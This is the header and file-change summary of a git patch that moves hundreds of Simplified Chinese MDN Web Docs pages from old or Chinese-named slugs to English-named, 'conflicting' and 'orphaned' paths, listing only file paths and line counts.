From 310fd066e91f454b990372ffa30e803cc8120975 Mon Sep 17 00:00:00 2001 From: Florian Merz Date: Thu, 11 Feb 2021 12:56:40 +0100 Subject: unslug zh-cn: move --- files/zh-cn/api/pointer_lock_api/index.html | 267 -- files/zh-cn/chrome/index.html | 70 - files/zh-cn/conflicting/glossary/chrome/index.html | 70 + .../zh-cn/conflicting/glossary/doctype/index.html | 9 + .../conflicting/learn/common_questions/index.html | 10 + .../cascade_and_inheritance/index.html | 125 + .../learn/css/building_blocks/index.html | 331 +++ .../learn/css/building_blocks/selectors/index.html | 414 +++ .../css/building_blocks/styling_tables/index.html | 509 ++++ .../building_blocks/values_and_units/index.html | 333 +++ .../conflicting/learn/css/css_layout/index.html | 368 +++ .../first_steps/how_css_is_structured/index.html | 167 ++ .../learn/css/first_steps/how_css_works/index.html | 121 + .../index.html | 105 + .../index.html | 115 + .../conflicting/learn/css/first_steps/index.html | 59 + .../learn/css/styling_text/fundamentals/index.html | 156 ++ .../index.html | 158 ++ .../css/styling_text/styling_lists/index.html | 324 +++ .../javascript_basics/index.html | 294 ++ .../creating_hyperlinks/index.html | 86 + .../video_and_audio_content/index.html | 275 ++ files/zh-cn/conflicting/learn/index.html | 172 ++ .../manipulating_documents/index.html | 172 ++ .../learn/javascript/objects/index.html | 362 +++ .../learn/server-side/django/index.html | 111 + .../index.html | 39 + files/zh-cn/conflicting/mdn/contribute/index.html | 7 + .../mdn/guidelines/css_style_guide/index.html | 45 + .../webextensions/user_interface/index.html | 163 ++ .../tools/keyboard_shortcuts/index.html | 93 + .../zh-cn/conflicting/tools/performance/index.html | 140 + .../zh-cn/conflicting/web/accessibility/index.html | 48 + .../web/api/canvas_api/tutorial/index.html | 163 ++ .../web/api/crypto/getrandomvalues/index.html | 107 + .../web/api/document/characterset/index.html | 21 + .../web/api/document/createevent/index.html | 35 + .../web/api/document/hasfocus/index.html | 79 + .../web/api/document_object_model/index.html | 52 + .../index.html | 33 + .../elementfrompoint/index.html | 45 + .../elementsfrompoint/index.html | 129 + .../documentorshadowroot/getselection/index.html | 15 + .../documentorshadowroot/stylesheets/index.html | 26 + .../zh-cn/conflicting/web/api/dommatrix/index.html | 94 + files/zh-cn/conflicting/web/api/element/index.html | 48 + .../web/api/event/composedpath/index.html | 90 + .../api/eventtarget/addeventlistener/index.html | 9 + .../web/api/eventtarget/dispatchevent/index.html | 93 + .../api/eventtarget/removeeventlistener/index.html | 97 + .../introduction/index.html | 81 + .../conflicting/web/api/geolocation/index.html | 105 + .../ongotpointercapture/index.html | 143 + .../api/globaleventhandlers/onmouseup/index.html | 43 + .../api/globaleventhandlers/onscroll/index.html | 54 + .../api/globaleventhandlers/ontouchmove/index.html | 125 + .../web/api/htmlelement/outertext/index.html | 9 + .../web/api/htmlinputelement/index.html | 49 + .../api/htmlmediaelement/abort_event/index.html | 74 + files/zh-cn/conflicting/web/api/index.html | 71 + .../web/api/mouseevent/altkey/index.html | 44 + .../web/api/mouseevent/button/index.html | 82 + .../web/api/mouseevent/relatedtarget/index.html | 124 + .../web/api/mouseevent/shiftkey/index.html | 41 + .../web/api/node/getrootnode/index.html | 115 + files/zh-cn/conflicting/web/api/node/index.html | 19 + .../index.html | 19 + .../zh-cn/conflicting/web/api/push_api/index.html | 424 +++ files/zh-cn/conflicting/web/api/url/index.html | 105 + .../conflicting/web/api/web_storage_api/index.html | 542 ++++ .../conflicting/web/api/webrtc_api/index.html | 23 + .../web/api/webrtc_api/protocols/index.html | 18 + .../signaling_and_video_calling/index.html | 263 ++ .../index.html | 76 + .../web/api/window/localstorage/index.html | 136 + .../conflicting/web/api/window/moveto/index.html | 17 + .../index.html | 120 + .../zh-cn/conflicting/web/css/@viewport/index.html | 80 + .../index.html | 110 + .../index.html | 67 + .../index.html | 133 + .../index.html | 69 + .../zh-cn/conflicting/web/css/_colon_is/index.html | 190 ++ .../web/css/_colon_placeholder-shown/index.html | 67 + .../web/css/_doublecolon_placeholder/index.html | 99 + .../web/css/css_backgrounds_and_borders/index.html | 155 ++ .../resizing_background_images/index.html | 114 + .../using_multiple_backgrounds/index.html | 60 + .../zh-cn/conflicting/web/css/css_color/index.html | 120 + .../backwards_compatibility_of_flexbox/index.html | 408 +++ .../basic_concepts_of_flexbox/index.html | 408 +++ .../typical_use_cases_of_flexbox/index.html | 187 ++ .../conflicting/web/css/easing-function/index.html | 266 ++ .../conflicting/web/guide/html/html5/index.html | 169 ++ files/zh-cn/conflicting/web/guide/index.html | 96 + .../zh-cn/conflicting/web/guide/mobile/index.html | 18 + .../zh-cn/conflicting/web/html/element/index.html | 591 ++++ .../html/quirks_mode_and_standards_mode/index.html | 26 + files/zh-cn/conflicting/web/http/cors/index.html | 249 ++ files/zh-cn/conflicting/web/http/csp/index.html | 36 + .../index.html | 97 + .../index.html | 56 + files/zh-cn/conflicting/web/http/status/index.html | 13 + .../web/javascript/guide/introduction/index.html | 136 + .../index.html | 136 + .../regular_expressions/assertions/index.html | 7 + .../global_objects/arraybuffer/index.html | 64 + .../reference/global_objects/boolean/index.html | 76 + .../reference/global_objects/dataview/index.html | 103 + .../reference/global_objects/date/index.html | 181 ++ .../reference/global_objects/error/index.html | 162 ++ .../reference/global_objects/evalerror/index.html | 85 + .../reference/global_objects/function/index.html | 139 + .../global_objects/generatorfunction/index.html | 65 + .../global_objects/intl/datetimeformat/index.html | 120 + .../reference/global_objects/map/index.html | 131 + .../reference/global_objects/number/index.html | 132 + .../reference/global_objects/object/index.html | 195 ++ .../reference/global_objects/promise/index.html | 116 + .../global_objects/proxy/proxy/index.html | 77 + .../reference/global_objects/rangeerror/index.html | 89 + .../global_objects/referenceerror/index.html | 93 + .../reference/global_objects/regexp/index.html | 153 ++ .../global_objects/sharedarraybuffer/index.html | 63 + .../reference/global_objects/string/index.html | 187 ++ .../reference/global_objects/symbol/index.html | 67 + .../global_objects/syntaxerror/index.html | 133 + .../reference/global_objects/typedarray/index.html | 172 ++ .../reference/global_objects/typeerror/index.html | 94 + .../reference/global_objects/urierror/index.html | 83 + .../reference/global_objects/weakmap/index.html | 138 + .../reference/global_objects/weakset/index.html | 115 + .../reference/lexical_grammar/index.html | 82 + .../web/javascript/reference/operators/index.html | 302 ++ .../index.html | 278 ++ .../index.html | 756 +++++ .../index.html | 413 +++ .../index.html | 238 ++ .../reference/statements/switch/index.html | 120 + .../zh-cn/conflicting/web/media/formats/index.html | 563 ++++ .../web/progressive_web_apps/index.html | 49 + .../progressive_web_apps/introduction/index.html | 58 + .../responsive_design_building_blocks/index.html | 78 + .../index.html | 95 + .../index.html | 79 + .../web/web_components/using_shadow_dom/index.html | 91 + .../index.html | 146 + files/zh-cn/controlling_dns_prefetching/index.html | 97 - files/zh-cn/css/float/index.html | 247 -- files/zh-cn/dhtml/index.html | 143 - files/zh-cn/example_2_-_using_ul/index.html | 7 - files/zh-cn/games/introduction/index.html | 118 + .../index.html | 107 + .../index.html | 107 - .../publishing_games/game_monetization/index.html | 95 + .../index.html" | 95 - .../control_mechanisms/mobile_touch/index.html | 152 ++ .../index.html" | 152 -- .../index.html" | 68 - .../finishing_up/index.html | 113 + .../mouse_controls/index.html | 61 + .../index.html" | 113 - .../index.html" | 61 - .../games/\347\256\200\344\273\213/index.html" | 118 - files/zh-cn/glossary/abstraction/index.html | 22 + files/zh-cn/glossary/algorithm/index.html | 37 + files/zh-cn/glossary/arpa/index.html | 18 + files/zh-cn/glossary/asynchronous/index.html | 37 + files/zh-cn/glossary/base64/index.html | 605 ++++ files/zh-cn/glossary/baseline/index.html | 24 + files/zh-cn/glossary/browser/index.html | 24 + files/zh-cn/glossary/card_sorting/index.html | 18 + files/zh-cn/glossary/character_encoding/index.html | 26 + files/zh-cn/glossary/compile/index.html | 28 + files/zh-cn/glossary/compile_time/index.html | 16 + files/zh-cn/glossary/cross_axis/index.html | 72 + files/zh-cn/glossary/database/index.html | 25 + files/zh-cn/glossary/dhtml/index.html | 143 + .../zh-cn/glossary/digital_certificate/index.html | 12 + files/zh-cn/glossary/domain_name/index.html | 15 + files/zh-cn/glossary/dtd/index.html | 9 - files/zh-cn/glossary/element/index.html | 22 + files/zh-cn/glossary/empty_element/index.html | 40 + .../glossary/forbidden_header_name/index.html | 39 + files/zh-cn/glossary/general_header/index.html | 11 + .../zh-cn/glossary/graceful_degradation/index.html | 37 + files/zh-cn/glossary/header/index.html | 76 - files/zh-cn/glossary/http_header/index.html | 76 + files/zh-cn/glossary/idempotent/index.html | 49 + files/zh-cn/glossary/iife/index.html | 63 + files/zh-cn/glossary/ip_address/index.html | 20 + .../ip\345\234\260\345\235\200/index.html" | 20 - files/zh-cn/glossary/localization/index.html | 62 + files/zh-cn/glossary/main_axis/index.html | 50 + files/zh-cn/glossary/oop/index.html | 21 + files/zh-cn/glossary/origin/index.html | 52 + .../glossary/progressive_enhancement/index.html | 24 + files/zh-cn/glossary/proxy_server/index.html | 24 + files/zh-cn/glossary/pseudo-class/index.html | 18 + files/zh-cn/glossary/request_header/index.html | 44 + files/zh-cn/glossary/semantics/index.html | 97 + files/zh-cn/glossary/serialization/index.html | 23 + files/zh-cn/glossary/serialize/index.html | 23 - files/zh-cn/glossary/simple_header/index.html | 38 + files/zh-cn/glossary/sloppy_mode/index.html | 16 + .../zh-cn/glossary/speculative_parsing/index.html | 29 + files/zh-cn/glossary/time_to_first_byte/index.html | 20 + files/zh-cn/glossary/type_conversion/index.html | 27 + files/zh-cn/glossary/xhtml/index.html | 15 + .../glossary/\344\270\273\350\275\264/index.html" | 50 - .../index.html" | 72 - .../index.html" | 24 - .../index.html" | 37 - .../glossary/\344\274\252\347\261\273/index.html" | 18 - .../glossary/\345\205\203\347\264\240/index.html" | 22 - .../index.html" | 18 - .../index.html" | 18 - .../glossary/\345\237\237\345\220\215/index.html" | 15 - .../glossary/\345\237\272\347\272\277/index.html" | 24 - .../index.html" | 26 - .../glossary/\345\271\202\347\255\211/index.html" | 49 - .../glossary/\345\274\202\346\255\245/index.html" | 37 - .../index.html" | 22 - .../index.html" | 12 - .../index.html" | 25 - .../index.html" | 16 - .../index.html" | 24 - .../index.html" | 24 - "files/zh-cn/glossary/\346\272\220/index.html" | 52 - .../index.html" | 39 - .../index.html" | 40 - .../index.html" | 63 - .../index.html" | 20 - .../index.html" | 38 - .../glossary/\347\256\227\346\263\225/index.html" | 37 - .../index.html" | 27 - .../glossary/\347\274\226\350\257\221/index.html" | 28 - .../index.html" | 16 - .../glossary/\350\257\255\344\271\211/index.html" | 97 - .../index.html" | 44 - .../index.html" | 11 - .../index.html" | 21 - files/zh-cn/glossary_of_translation/index.html | 572 ---- .../accessibility/css_and_javascript/index.html | 367 +++ .../css\345\222\214javascript/index.html" | 367 --- files/zh-cn/learn/accessibility/html/index.html | 542 ++++ .../index.html" | 542 ---- .../learn/accessibility/multimedia/index.html | 354 +++ .../index.html" | 354 --- .../available_text_editors/index.html | 295 ++ .../how_does_the_internet_work/index.html | 91 + .../what_are_browser_developer_tools/index.html | 230 ++ .../index.html" | 295 -- .../building_blocks/a_cool_looking_box/index.html | 88 + .../creating_fancy_letterheaded_paper/index.html | 101 + .../fundamental_css_comprehension/index.html | 127 + .../handling_different_text_directions/index.html | 151 + .../index.html" | 151 - .../css_layout/legacy_layout_methods/index.html | 577 ++++ .../learn/css/css_layout/positioning/index.html | 615 +++++ .../index.html" | 577 ---- .../\345\256\232\344\275\215/index.html" | 615 ----- .../index.html" | 162 -- .../css/first_steps/getting_started/index.html | 267 ++ .../learn/css/first_steps/how_css_works/index.html | 162 ++ .../\345\274\200\345\247\213/index.html" | 267 -- files/zh-cn/learn/css/howto/css_faq/index.html | 183 ++ .../learn/css/howto/generated_content/index.html | 160 ++ .../fundamental_css_comprehension/index.html | 127 - .../styling_boxes/a_cool_looking_box/index.html | 88 - .../creating_fancy_letterheaded_paper/index.html | 101 - .../learn/css/styling_text/fundamentals/index.html | 727 +++++ files/zh-cn/learn/css/styling_text/index.html | 54 + .../css/styling_text/styling_links/index.html | 431 +++ .../css/styling_text/styling_lists/index.html | 374 +++ .../styling_text/typesetting_a_homepage/index.html | 119 + .../learn/css/styling_text/web_fonts/index.html | 186 ++ .../fundamentals/index.html" | 727 ----- .../index.html" | 54 - .../styling_links/index.html" | 431 --- .../styling_lists/index.html" | 374 --- .../typesetting_a_homepage/index.html" | 119 - .../web_\345\255\227\344\275\223/index.html" | 186 -- .../discover_browser_developer_tools/index.html | 230 -- .../learn/forms/advanced_form_styling/index.html | 467 ++++ .../forms/basic_native_form_controls/index.html | 683 +++++ files/zh-cn/learn/forms/form_validation/index.html | 874 ++++++ .../example_1/index.html | 418 +++ .../example_2/index.html | 212 ++ .../example_3/index.html | 246 ++ .../example_4/index.html | 294 ++ .../how_to_build_custom_form_controls/index.html | 776 ++++++ .../forms/how_to_structure_a_web_form/index.html | 290 ++ .../forms/html_forms_in_legacy_browsers/index.html | 215 ++ files/zh-cn/learn/forms/index.html | 77 + .../index.html | 1988 ++++++++++++++ .../sending_and_retrieving_form_data/index.html | 369 +++ .../sending_forms_through_javascript/index.html | 439 +++ .../zh-cn/learn/forms/styling_web_forms/index.html | 388 +++ files/zh-cn/learn/forms/your_first_form/index.html | 266 ++ .../zh-cn/learn/how_the_internet_works/index.html | 91 - files/zh-cn/learn/how_to_contribute/index.html | 85 - .../advanced_styling_for_html_forms/index.html | 467 ---- .../html/forms/data_form_validation/index.html | 874 ------ .../example_1/index.html | 418 --- .../example_2/index.html | 212 -- .../example_3/index.html | 246 -- .../example_4/index.html | 294 -- .../how_to_build_custom_form_widgets/index.html | 776 ------ .../forms/how_to_structure_an_html_form/index.html | 290 -- .../forms/html_forms_in_legacy_browsers/index.html | 215 -- files/zh-cn/learn/html/forms/index.html | 77 - .../index.html | 1988 -------------- .../sending_and_retrieving_form_data/index.html | 369 --- .../sending_forms_through_javascript/index.html | 439 --- .../learn/html/forms/styling_html_forms/index.html | 388 --- .../html/forms/the_native_form_widgets/index.html | 683 ----- .../html/forms/your_first_html_form/index.html | 266 -- .../zh-cn/learn/html/forms_and_buttons/index.html | 43 - .../author_fast-loading_html_pages/index.html | 213 ++ .../html/howto/use_data_attributes/index.html | 80 + .../document_and_website_structure/index.html | 252 ++ .../index.html" | 252 -- .../other_embedding_technologies/index.html | 254 ++ .../index.html" | 254 -- .../javascript/asynchronous/async_await/index.html | 379 +++ .../choosing_the_right_approach/index.html | 523 ++++ .../javascript/asynchronous/concepts/index.html | 162 ++ .../zh-cn/learn/javascript/asynchronous/index.html | 59 + .../javascript/asynchronous/introducing/index.html | 272 ++ .../javascript/asynchronous/promises/index.html | 599 ++++ .../asynchronous/timeouts_and_intervals/index.html | 617 +++++ .../building_blocks/image_gallery/index.html | 244 ++ .../index.html" | 244 -- .../adding_bouncing_balls_features/index.html | 468 ++++ .../index.html | 95 + .../index.html" | 468 ---- .../index.html" | 95 - .../async_await/index.html" | 379 --- .../choosing_the_right_approach/index.html" | 523 ---- .../\345\274\202\346\255\245/index.html" | 59 - .../promises\350\257\255\346\263\225/index.html" | 599 ---- .../\346\246\202\345\277\265/index.html" | 162 -- .../\347\256\200\344\273\213/index.html" | 272 -- .../index.html" | 617 ----- .../performance/perceived_performance/index.html | 109 + .../index.html" | 109 - .../configuring_server_mime_types/index.html | 118 + .../learn/server-side/django/admin_site/index.html | 339 +++ .../django/development_environment/index.html | 406 +++ .../learn/server-side/django/home_page/index.html | 358 +++ .../index.html" | 358 --- .../index.html" | 406 --- .../index.html" | 339 --- .../introduction/index.html | 393 +++ .../\344\273\213\347\273\215/index.html" | 393 --- .../cross_browser_testing/accessibility/index.html | 624 +++++ .../testing_strategies/index.html | 367 +++ .../index.html" | 624 ----- .../index.html" | 367 --- .../tutorial/how_to_build_a_web_site/index.html | 172 -- files/zh-cn/learn/tutorial/index.html | 39 - files/zh-cn/learn/web_mechanics/index.html | 10 - files/zh-cn/localization/index.html | 62 - .../index.html" | 7 - files/zh-cn/mdn/at_ten/index.html | 37 + files/zh-cn/mdn/community/conversations/index.html | 59 - files/zh-cn/mdn/community/doc_sprints/index.html | 123 - files/zh-cn/mdn/community/index.html | 53 - .../zh-cn/mdn/community/whats_happening/index.html | 42 - .../index.html" | 101 - .../index.html | 30 + .../index.html | 185 ++ .../howto/create_an_mdn_account/index.html | 44 - .../howto/do_a_technical_review/index.html | 57 - .../howto/do_an_editorial_review/index.html | 55 - .../howto/set_the_summary_for_a_page/index.html | 59 - .../howto/tag_javascript_pages/index.html | 69 - .../index.html | 117 - .../index.html" | 30 - .../index.html" | 185 -- .../index.html" | 53 - files/zh-cn/mdn/editor/basics/index.html | 61 - .../mdn/editor/basics/page_controls/index.html | 37 - files/zh-cn/mdn/editor/basics/page_info/index.html | 47 - files/zh-cn/mdn/editor/edit_box/index.html | 145 - files/zh-cn/mdn/editor/index.html | 20 - files/zh-cn/mdn/editor/source_mode/index.html | 121 - .../zh-cn/mdn/guidelines/content_blocks/index.html | 45 - .../guidelines/does_this_belong_on_mdn/index.html | 193 ++ .../guidelines/rules_of_mdn_documenting/index.html | 193 -- files/zh-cn/mdn/guidelines/style_guide/index.html | 784 ------ .../mdn/guidelines/writing_style_guide/index.html | 784 ++++++ files/zh-cn/mdn/kuma/index.html | 24 - .../simple_live_sample_demo/index.html | 31 - .../macros/commonly-used_macros/index.html | 222 ++ .../mdn/structures/macros/custom_macros/index.html | 222 -- files/zh-cn/mdn/yari/index.html | 24 + files/zh-cn/mdn_at_ten/index.html | 37 - .../add-ons/webextensions/api/clipboard/index.html | 36 + .../api/clipboard/setimagedata/index.html | 79 + .../webextensions/api/contextmenus/index.html | 191 -- .../api/devtools.inspectedwindow/index.html | 72 - .../api/devtools/inspectedwindow/index.html | 72 + .../add-ons/webextensions/api/menus/index.html | 191 ++ .../webextensions/api/tabs/query/index.html | 179 ++ .../api/tabs/\346\237\245\350\257\242/index.html" | 179 -- .../index.html" | 36 - .../setimagedata/index.html" | 79 - .../build_a_cross_browser_extension/index.html | 275 ++ .../implement_a_settings_page/index.html | 203 ++ .../manifest.json/homepage_url/index.html | 42 + .../index.html" | 42 - .../packaging_and_installation/index.html | 83 - .../porting_from_google_chrome/index.html | 22 - .../publishing_your_webextension/index.html | 98 - .../user_interface/sidebars/index.html | 53 + .../index.html" | 53 - .../add-ons/webextensions/walkthrough/index.html | 488 ---- .../your_second_webextension/index.html | 488 ++++ .../index.html" | 203 -- .../index.html" | 275 -- .../index.html" | 163 -- .../releases/19/site_compatibility/index.html | 144 + .../releases/21/site_compatibility/index.html | 145 + .../releases/23/site_compatibility/index.html | 92 + .../releases/24/site_compatibility/index.html | 22 + .../releases/3/updating_extensions/index.html | 217 ++ files/zh-cn/mozilla/mozilla_persona/index.html | 155 -- .../zh-cn/orphaned/example_2_-_using_ul/index.html | 7 + .../games/tools/engines_and_tools/index.html | 68 + .../orphaned/glossary_of_translation/index.html | 572 ++++ .../orphaned/learn/how_to_contribute/index.html | 85 + .../learn/html/forms/html5_updates/index.html | 144 + .../learn/html/forms_and_buttons/index.html | 43 + .../mdn/community/conversations/index.html | 59 + .../orphaned/mdn/community/doc_sprints/index.html | 123 + files/zh-cn/orphaned/mdn/community/index.html | 53 + .../mdn/community/whats_happening/index.html | 42 + .../mdn/community/working_in_community/index.html | 101 + .../contribute/howto/be_a_beta_tester/index.html | 53 + .../howto/create_an_mdn_account/index.html | 44 + .../howto/do_a_technical_review/index.html | 57 + .../howto/do_an_editorial_review/index.html | 55 + .../howto/set_the_summary_for_a_page/index.html | 59 + .../howto/tag_javascript_pages/index.html | 69 + .../index.html | 117 + files/zh-cn/orphaned/mdn/editor/basics/index.html | 61 + .../mdn/editor/basics/page_controls/index.html | 37 + .../mdn/editor/basics/page_info/index.html | 47 + files/zh-cn/orphaned/mdn/editor/index.html | 20 + .../mdn/editor/keyboard_shortcuts/index.html | 145 + .../orphaned/mdn/editor/source_mode/index.html | 121 + .../simple_live_sample_demo/index.html | 31 + .../package_your_extension_/index.html | 98 + .../porting_a_google_chrome_extension/index.html | 22 + .../temporary_installation_in_firefox/index.html | 83 + .../orphaned/mozilla/mozilla_persona/index.html | 155 ++ files/zh-cn/orphaned/tools/add-ons/index.html | 6 + .../orphaned/web/api/analysernode/fft/index.html | 7 + .../audiocontext/mozaudiochanneltype/index.html | 95 + .../api/audionode/connect(audioparam)/index.html | 163 ++ .../simple_document.cookie_framework/index.html | 218 ++ files/zh-cn/orphaned/web/api/entity/index.html | 52 + .../orphaned/web/api/fetchobserver/index.html | 145 + .../zh-cn/orphaned/web/api/msselection/index.html | 103 + files/zh-cn/orphaned/web/api/namelist/index.html | 48 + .../index.html" | 38 + .../orphaned/web/api/notification/sound/index.html | 129 + .../orphaned/web/api/textrange/text/index.html | 72 + .../websocket_server_vb.net/index.html | 270 ++ .../web/api/window/getattention/index.html | 33 + .../css/css\345\237\272\347\241\200/index.html" | 57 + .../zh-cn/orphaned/web/guide/html/html/index.html | 181 ++ .../orphaned/web/html/element/command/index.html | 139 + .../orphaned/web/html/element/element/index.html | 112 + .../web/html/global_attributes/dropzone/index.html | 94 + .../index.html" | 544 ++++ .../index.html" | 292 ++ .../global_objects/array/prototype/index.html | 178 ++ .../asyncfunction/prototype/index.html | 57 + .../global_objects/asynciterator/index.html | 119 + files/zh-cn/orphaned/web/localization/index.html | 36 + .../information_security_basics/index.html | 28 + .../orphaned/web/specification_list/index.html | 405 +++ .../web_components/status_in_firefox/index.html | 51 + files/zh-cn/python/index.html | 111 - .../quirks_mode_and_standards_mode/index.html | 26 - .../eventsource/close/index.html | 138 - .../eventsource/eventsource/index.html | 149 - .../server-sent_events/eventsource/index.html | 155 -- .../eventsource/onerror/index.html | 122 - .../eventsource/onopen/index.html | 123 - files/zh-cn/server-sent_events/index.html | 77 - .../using_server-sent_events/index.html | 190 -- .../site_compatibility_for_firefox_19/index.html | 144 - .../site_compatibility_for_firefox_21/index.html | 145 - .../site_compatibility_for_firefox_23/index.html | 92 - .../site_compatibility_for_firefox_24/index.html | 22 - files/zh-cn/specification_list/index.html | 405 --- files/zh-cn/tools/3d_view/index.html | 102 + files/zh-cn/tools/add-ons/index.html | 6 - files/zh-cn/tools/deprecated_tools/index.html | 122 + .../zh-cn/tools/page_inspector/3d_view/index.html | 102 - .../page_inspector/how_to/edit_fonts/index.html | 22 + .../page_inspector/how_to/view_fonts/index.html | 22 - files/zh-cn/tools/profiler/index.html | 140 - .../index.html | 38 + .../index.html | 38 - .../zh-cn/tools/responsive_design_mode/index.html | 83 + .../zh-cn/tools/responsive_design_view/index.html | 83 - files/zh-cn/tools/storage_inspector/index.html | 186 ++ files/zh-cn/tools/tips/index.html | 135 + .../zh-cn/tools/using_the_source_editor/index.html | 93 - files/zh-cn/tools/web_audio_editor/index.html | 38 + .../index.html" | 38 - .../index.html" | 122 - .../index.html" | 186 -- .../index.html" | 135 - files/zh-cn/understanding_underlines/index.html | 156 -- .../updating_extensions_for_firefox_3/index.html | 217 -- files/zh-cn/using_xpath/index.html | 146 - .../using_the_aria-hidden_attribute/index.html | 94 + .../using_the_button_role/index.html | 122 - .../index.html" | 94 - .../aria/roles/button_role/index.html | 122 + .../web/accessibility/web_development/index.html | 48 - .../zh-cn/web/api/abortcontroller/abort/index.html | 85 + .../api/abortcontroller/abortcontroller/index.html | 85 + files/zh-cn/web/api/abortcontroller/index.html | 106 + .../zh-cn/web/api/ambient_light_events/index.html | 74 + .../api/ambientlightsensor/illuminance/index.html | 94 + .../web/api/ambientlightsensor/reading/index.html | 94 - files/zh-cn/web/api/analysernode/fft/index.html | 7 - .../web/api/audiocontext/createanalyser/index.html | 154 -- .../api/audiocontext/createbiquadfilter/index.html | 139 - .../web/api/audiocontext/createbuffer/index.html | 181 -- .../api/audiocontext/createbuffersource/index.html | 150 - .../audiocontext/createchannelmerger/index.html | 143 - .../audiocontext/createchannelsplitter/index.html | 138 - .../api/audiocontext/createconvolver/index.html | 131 - .../web/api/audiocontext/createdelay/index.html | 213 -- .../audiocontext/createscriptprocessor/index.html | 199 -- .../api/audiocontext/createwaveshaper/index.html | 133 - .../web/api/audiocontext/currenttime/index.html | 112 - .../api/audiocontext/decodeaudiodata/index.html | 223 -- .../web/api/audiocontext/destination/index.html | 114 - .../zh-cn/web/api/audiocontext/listener/index.html | 112 - .../audiocontext/mozaudiochanneltype/index.html | 95 - .../web/api/audiocontext/onstatechange/index.html | 101 - .../web/api/audiocontext/samplerate/index.html | 112 - files/zh-cn/web/api/audiocontext/state/index.html | 111 - .../api/audionode/connect(audioparam)/index.html | 163 -- .../api/baseaudiocontext/createanalyser/index.html | 154 ++ .../baseaudiocontext/createbiquadfilter/index.html | 139 + .../api/baseaudiocontext/createbuffer/index.html | 181 ++ .../baseaudiocontext/createbuffersource/index.html | 150 + .../createchannelmerger/index.html | 143 + .../createchannelsplitter/index.html | 138 + .../baseaudiocontext/createconvolver/index.html | 131 + .../api/baseaudiocontext/createdelay/index.html | 213 ++ .../createscriptprocessor/index.html | 199 ++ .../baseaudiocontext/createwaveshaper/index.html | 133 + .../api/baseaudiocontext/currenttime/index.html | 112 + .../baseaudiocontext/decodeaudiodata/index.html | 223 ++ .../api/baseaudiocontext/destination/index.html | 114 + .../web/api/baseaudiocontext/listener/index.html | 112 + .../api/baseaudiocontext/onstatechange/index.html | 101 + .../web/api/baseaudiocontext/samplerate/index.html | 112 + .../web/api/baseaudiocontext/state/index.html | 111 + .../api/broadcastchannel/message_event/index.html | 167 ++ .../drawing_graphics_with_canvas/index.html | 163 -- .../web/api/canvascapturemediastream/index.html | 103 - .../api/canvascapturemediastreamtrack/index.html | 103 + .../using_channel_messaging/index.html | 179 ++ .../index.html" | 179 -- .../web/api/crypto/getrandomvalues/index.html | 77 + files/zh-cn/web/api/cssmatrix/index.html | 94 - files/zh-cn/web/api/csspagerule/index.html | 65 + .../index.html" | 65 - files/zh-cn/web/api/deviceacceleration/index.html | 47 - .../devicelightevent/using_light_events/index.html | 74 - .../api/devicemotioneventacceleration/index.html | 47 + .../simple_document.cookie_framework/index.html | 218 -- .../web/api/document/elementfrompoint/index.html | 45 - .../web/api/document/elementsfrompoint/index.html | 129 - files/zh-cn/web/api/document/fullscreen/index.html | 108 + .../web/api/document/fullscreenenabled/index.html | 82 + .../zh-cn/web/api/document/getselection/index.html | 15 - .../web/api/document/inputencoding/index.html | 21 - .../web/api/document/mozfullscreen/index.html | 108 - .../api/document/mozfullscreenelement/index.html | 77 - .../api/document/mozfullscreenenabled/index.html | 82 - .../api/document/onafterscriptexecute/index.html | 44 + .../web/api/document/pointerlockelement/index.html | 105 - .../api/document/readystatechange_event/index.html | 149 + .../web/api/document/rouchmove_event/index.html | 171 -- .../zh-cn/web/api/document/stylesheets/index.html | 26 - .../web/api/document/touchmove_event/index.html | 171 ++ .../api/document_object_model/preface/index.html | 52 - .../index.html | 338 +++ .../fullscreenelement/index.html | 77 + .../pointerlockelement/index.html | 105 + files/zh-cn/web/api/element/accesskey/index.html | 23 - .../web/api/element/activate_event/index.html | 108 - .../element/afterscriptexecute_event/index.html | 57 + .../element/beforescriptexecute_event/index.html | 57 + files/zh-cn/web/api/element/blur_event/index.html | 150 + .../api/element/compositionend_event/index.html | 146 + .../api/element/compositionstart_event/index.html | 152 ++ .../api/element/compositionupdate_event/index.html | 145 + files/zh-cn/web/api/element/copy_event/index.html | 164 ++ files/zh-cn/web/api/element/cut_event/index.html | 159 ++ .../web/api/element/domactivate_event/index.html | 108 + files/zh-cn/web/api/element/error_event/index.html | 135 + files/zh-cn/web/api/element/focus_event/index.html | 137 + .../web/api/element/focusout_event/index.html | 125 + .../web/api/element/mousewheel_event/index.html | 181 ++ files/zh-cn/web/api/element/name/index.html | 71 - .../api/element/onafterscriptexecute/index.html | 44 - .../web/api/element/ongotpointercapture/index.html | 143 - files/zh-cn/web/api/element/paste_event/index.html | 103 + .../web/api/elementcssinlinestyle/style/index.html | 80 + files/zh-cn/web/api/entity/index.html | 52 - files/zh-cn/web/api/event.altkey/index.html | 44 - files/zh-cn/web/api/event.button/index.html | 82 - files/zh-cn/web/api/event.relatedtarget/index.html | 124 - files/zh-cn/web/api/event.shiftkey/index.html | 41 - files/zh-cn/web/api/event/cancelbubble/index.html | 93 + files/zh-cn/web/api/event/createevent/index.html | 35 - files/zh-cn/web/api/event/deeppath/index.html | 90 - .../index.html" | 93 - files/zh-cn/web/api/eventsource/close/index.html | 138 + .../web/api/eventsource/eventsource/index.html | 149 + files/zh-cn/web/api/eventsource/index.html | 155 ++ files/zh-cn/web/api/eventsource/onerror/index.html | 122 + files/zh-cn/web/api/eventsource/onopen/index.html | 123 + .../web/api/eventtarget/attachevent/index.html | 9 - .../web/api/eventtarget/detachevent/index.html | 97 - .../zh-cn/web/api/eventtarget/fireevent/index.html | 93 - .../zh-cn/web/api/fetchcontroller/abort/index.html | 85 - .../api/fetchcontroller/abortcontroller/index.html | 85 - files/zh-cn/web/api/fetchcontroller/index.html | 106 - files/zh-cn/web/api/fetchobserver/index.html | 145 - .../introduction/index.html | 210 ++ .../web/api/filereader/abort_event/index.html | 175 ++ .../index.html" | 175 -- files/zh-cn/web/api/formdata/delete/index.html | 71 + .../formdata/\345\210\240\351\231\244/index.html" | 71 - .../zh-cn/web/api/fullscreen_api/guide/index.html | 235 ++ .../\346\214\207\345\215\227/index.html" | 235 -- .../api/geolocation/using_geolocation/index.html | 303 -- files/zh-cn/web/api/geolocation_api/index.html | 303 ++ .../api/geolocationposition/timestamp/index.html | 49 + .../index.html" | 49 - .../globaleventhanders.ontouchmove/index.html | 125 - .../ondurationchange/index.html | 52 + .../index.html" | 52 - .../web/api/htmlanchorelement/referrer/index.html | 116 - .../htmlanchorelement/referrerpolicy/index.html | 116 + 